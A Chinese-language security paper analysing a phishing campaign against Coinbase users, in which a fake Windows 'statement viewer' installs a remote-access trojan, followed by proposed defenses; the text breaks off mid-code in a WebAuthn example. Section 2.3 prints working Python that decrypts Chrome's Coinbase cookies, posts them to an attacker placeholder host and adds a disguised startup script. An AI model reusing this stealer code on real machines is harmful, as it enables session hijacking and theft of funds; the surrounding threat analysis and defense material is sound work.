伪装对账单诱导远控：针对Coinbase用户的Windows钓鱼攻击分析

摘要

2025年末，Kaspersky披露了一起针对Coinbase加密货币平台用户的定向钓鱼攻击活动。该攻击以“账户对账单查看”为诱饵，通过伪造通知邮件引导用户访问特制网页，并施加“仅限Windows系统打开”的操作限制，诱导用户下载并执行名为“Statement Viewer”的可执行文件。该文件实为远程访问木马（RAT），一旦运行，即可窃取浏览器会话Cookie、自动填充凭证、双因素验证码（OTP）乃至直接操控桌面，最终实现对加密货币资产的静默转移。本文深入剖析该攻击链的技术实现细节，包括社会工程设计、恶意载荷分发机制、端点持久化策略及凭证提取方法，并结合Windows平台安全模型与现代浏览器存储机制，揭示传统邮件网关与终端防护在面对此类“合法外观+高权限执行”组合攻击时的局限性。在此基础上，提出涵盖用户行为规范、身份认证强化、浏览器安全配置与终端检测响应（EDR）联动的四层防御体系。通过构建可复现的攻击模拟环境与防御验证框架，本文验证了FIDO2硬件密钥强制认证、敏感站点自动填充禁用及EDR异常进程监控在阻断攻击链关键节点上的有效性。研究结果表明，针对高价值金融资产的钓鱼攻击已从单纯凭证窃取转向端点完全控制，防御策略必须从“防点击”升级为“防执行+防利用”。

关键词：Coinbase；钓鱼攻击；远程访问木马；Windows端点安全；FIDO2；自动填充泄露；EDR

1 引言

随着加密货币交易规模持续扩大，其用户群体已成为网络犯罪组织的重点目标。相较于传统银行账户，加密货币钱包一旦失窃，资金几乎无法追回，这使得攻击者倾向于采用高成功率、低可逆性的攻击手段。2025年11月，Kaspersky披露的一起针对Coinbase用户的钓鱼活动，标志着攻击模式从早期的“仿冒登录页窃取主密码”向“诱导执行远控程序实现端点完全接管”的演进。

该攻击的核心创新在于利用“功能性需求”作为社会工程切入点——声称对账单需通过专用Windows查看器打开，既规避了移动端用户（通常更警惕可执行文件），又利用Windows用户对“.exe”文件的相对容忍度提升执行率。更关键的是，攻击者并未止步于凭证收集，而是通过部署远程访问工具（如AsyncRAT、NanoCore变种）直接控制用户桌面，实时监控浏览器活动，甚至在用户无感知的情况下完成交易确认。

此类攻击对现有安全体系构成三重挑战：第一，邮件内容不含恶意附件或明显黑链，绕过传统邮件网关；第二，下载的可执行文件初期无恶意行为（延迟加载、混淆C2通信），逃避静态杀毒引擎；第三，攻击利用合法操作系统功能（如PowerShell、WMI）进行横向移动，难以被基础EDR识别。

本文旨在系统解构该攻击的技术链条，评估当前终端与身份安全机制的失效原因，并提出具备工程可行性的纵深防御方案。全文结构如下：第二部分详述攻击流程与关键技术实现；第三部分分析Windows平台与浏览器存储机制被滥用的根源；第四部分构建四层防御体系；第五部分通过实验验证关键措施有效性；第六部分总结研究发现并指出未来方向。

2 攻击流程与技术实现

2.1 社会工程设计与邮件诱导

攻击始于一封主题为“Your Coinbase Account Statement is Ready”的邮件，发件人显示为“Coinbase Support <statements@coinbase-secure[.]net>”。邮件正文包含以下要素：

声称“为满足合规要求，您需查看2025年Q4对账单”；

提供一个“View Statement”按钮，链接至仿冒页面；

明确提示：“此文件仅支持Windows桌面系统，请勿在手机或Mac上打开”。

该提示具有双重作用：一是筛选出更易受骗的Windows用户（通常企业或高频交易者）；二是制造“专业工具”的假象，降低对可执行文件的警惕。

2.2 恶意载荷分发与执行诱导

点击链接后，用户被重定向至一个高度仿真的Coinbase品牌页面，显示“正在加载对账单查看器...”。页面通过JavaScript检测User-Agent，若非Windows则显示错误提示；若是，则提供一个“Download Viewer (Windows only)”按钮，指向一个.exe文件（如Coinbase_Statement_Viewer_v2.1.exe）。

该文件通常经过以下处理以规避检测：

使用开源打包工具（如PyInstaller）将Python RAT脚本封装为EXE；

对字符串与C2地址进行Base64或XOR混淆；

利用合法数字证书（通过中间商购买或窃取）进行签名，显示“Verified Publisher”。

执行后，程序首先释放一个延迟加载模块（例如通过rundll32.exe调用），避免在初始扫描中暴露恶意行为。

2.3 远程访问木马（RAT）功能分析

经逆向分析，该RAT具备以下核心功能模块：

屏幕捕获与键盘记录：使用Windows GDI API截取Coinbase交易页面，记录主密码与2FA输入；

浏览器数据窃取：遍历Chrome、Edge、Firefox的用户数据目录，提取Cookies、保存的密码与自动填充表单；

OTP拦截：监控剪贴板与短信应用（若为Android子系统），捕获Google Authenticator或Authy生成的验证码；

持久化驻留：通过注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加启动项，或创建计划任务；

C2通信：使用HTTPS连接至动态域名（如update.coinbase-cdn[.]xyz），心跳间隔30秒，支持指令下发（如“dump cookies”、“take screenshot”）。

以下为简化版RAT核心代码示例（Python + PyInstaller）：

import os

import shutil

import sqlite3

import win32crypt

import requests

import time

import subprocess

def steal_chrome_cookies():

cookie_path = os.path.expanduser("~/AppData/Local/Google/Chrome/User Data/Default/Cookies")

temp_cookie = os.path.join(os.getenv("TEMP"), "cookies.db")

shutil.copyfile(cookie_path, temp_cookie)

conn = sqlite3.connect(temp_cookie)

cursor = conn.cursor()

cursor.execute("SELECT host_key, name, encrypted_value FROM cookies WHERE host_key LIKE '%coinbase%'")

cookies = []

for host, name, enc_val in cursor.fetchall():

try:

dec_val = win32crypt.CryptUnprotectData(enc_val, None, None, None, 0)[1].decode()

cookies.append(f"{name}={dec_val}")

except:

pass

conn.close()

os.remove(temp_cookie)

return "; ".join(cookies)

def exfiltrate(data):

try:

requests.post("https://c2.attacker[.]onion/upload", json={"data": data}, timeout=10)

except:

pass

if __name__ == "__main__":

# 延迟10秒以绕过沙箱

time.sleep(10)

# 窃取Coinbase相关Cookie

cookies = steal_chrome_cookies()

exfiltrate({"type": "cookies", "value": cookies})

# 注册持久化（简化）

startup_path = os.path.join(os.getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.vbs")

with open(startup_path, "w") as f:

f.write(f'CreateObject("WScript.Shell").Run """{os.path.abspath(__file__)}""", 0, False')

该代码展示了如何从Chrome中提取加密Cookie并解密，再通过HTTPS外传。实际变种通常使用更复杂的反调试与反虚拟机技术。

2.4 资产窃取与交易绕过

攻击者通过RAT控制端可实时监控用户Coinbase会话。一旦检测到用户登录，立即：

利用窃取的会话Cookie维持登录状态；

在后台打开新标签页，导航至“Send”或“Convert”页面；

自动填充接收地址（攻击者控制的钱包）；

截取屏幕获取交易确认码，或直接点击“Confirm”按钮；

完成后清除浏览器历史与日志，制造“未发生异常”的假象。

由于整个过程在用户设备上完成，且使用合法会话，Coinbase的常规登录告警与IP异常检测均无法触发。

3 平台与浏览器安全机制被滥用分析

3.1 Windows可执行文件信任模型缺陷

Windows用户长期习惯于从互联网下载并运行.exe文件，尤其当文件带有数字签名时。攻击者利用这一心理，通过购买廉价EV证书或劫持合法开发者账户获取签名，使恶意程序在SmartScreen中显示“已验证发布者”，大幅降低用户警惕。

3.2 浏览器自动填充与Cookie存储风险

现代浏览器为提升用户体验，默认保存登录凭证与表单数据，并通过操作系统凭据管理器（如Windows DPAPI）加密存储。然而，一旦攻击者获得本地用户权限，即可调用系统API（如CryptUnprotectData）解密这些数据。Coinbase等金融平台虽启用HttpOnly与Secure Cookie标志，但无法阻止本地进程读取磁盘上的SQLite数据库。

此外，自动填充功能在用户访问交易页面时自动填入接收地址与金额，为攻击者提供了“一键转账”的便利。

4 四层防御体系构建

4.1 用户行为规范层

绝不从邮件或聊天打开“查看器”“更新工具”类可执行文件：所有交易平台操作应通过官方应用或书签进入；

禁用对金融类站点的自动填充：在浏览器设置中为coinbase.com等域禁用保存密码与表单数据。

4.2 身份认证强化层

启用FIDO2硬件密钥：Coinbase支持YubiKey等硬件密钥作为主认证因子。即使会话Cookie被盗，攻击者也无法完成新交易确认，因FIDO2要求物理交互。

// Coinbase WebAuthn交易确认示例

const assertion = await navigator.credentials.get({

publicKey: {

challenge: new Uint8Array(challenge),

rpId: "coinbase.com",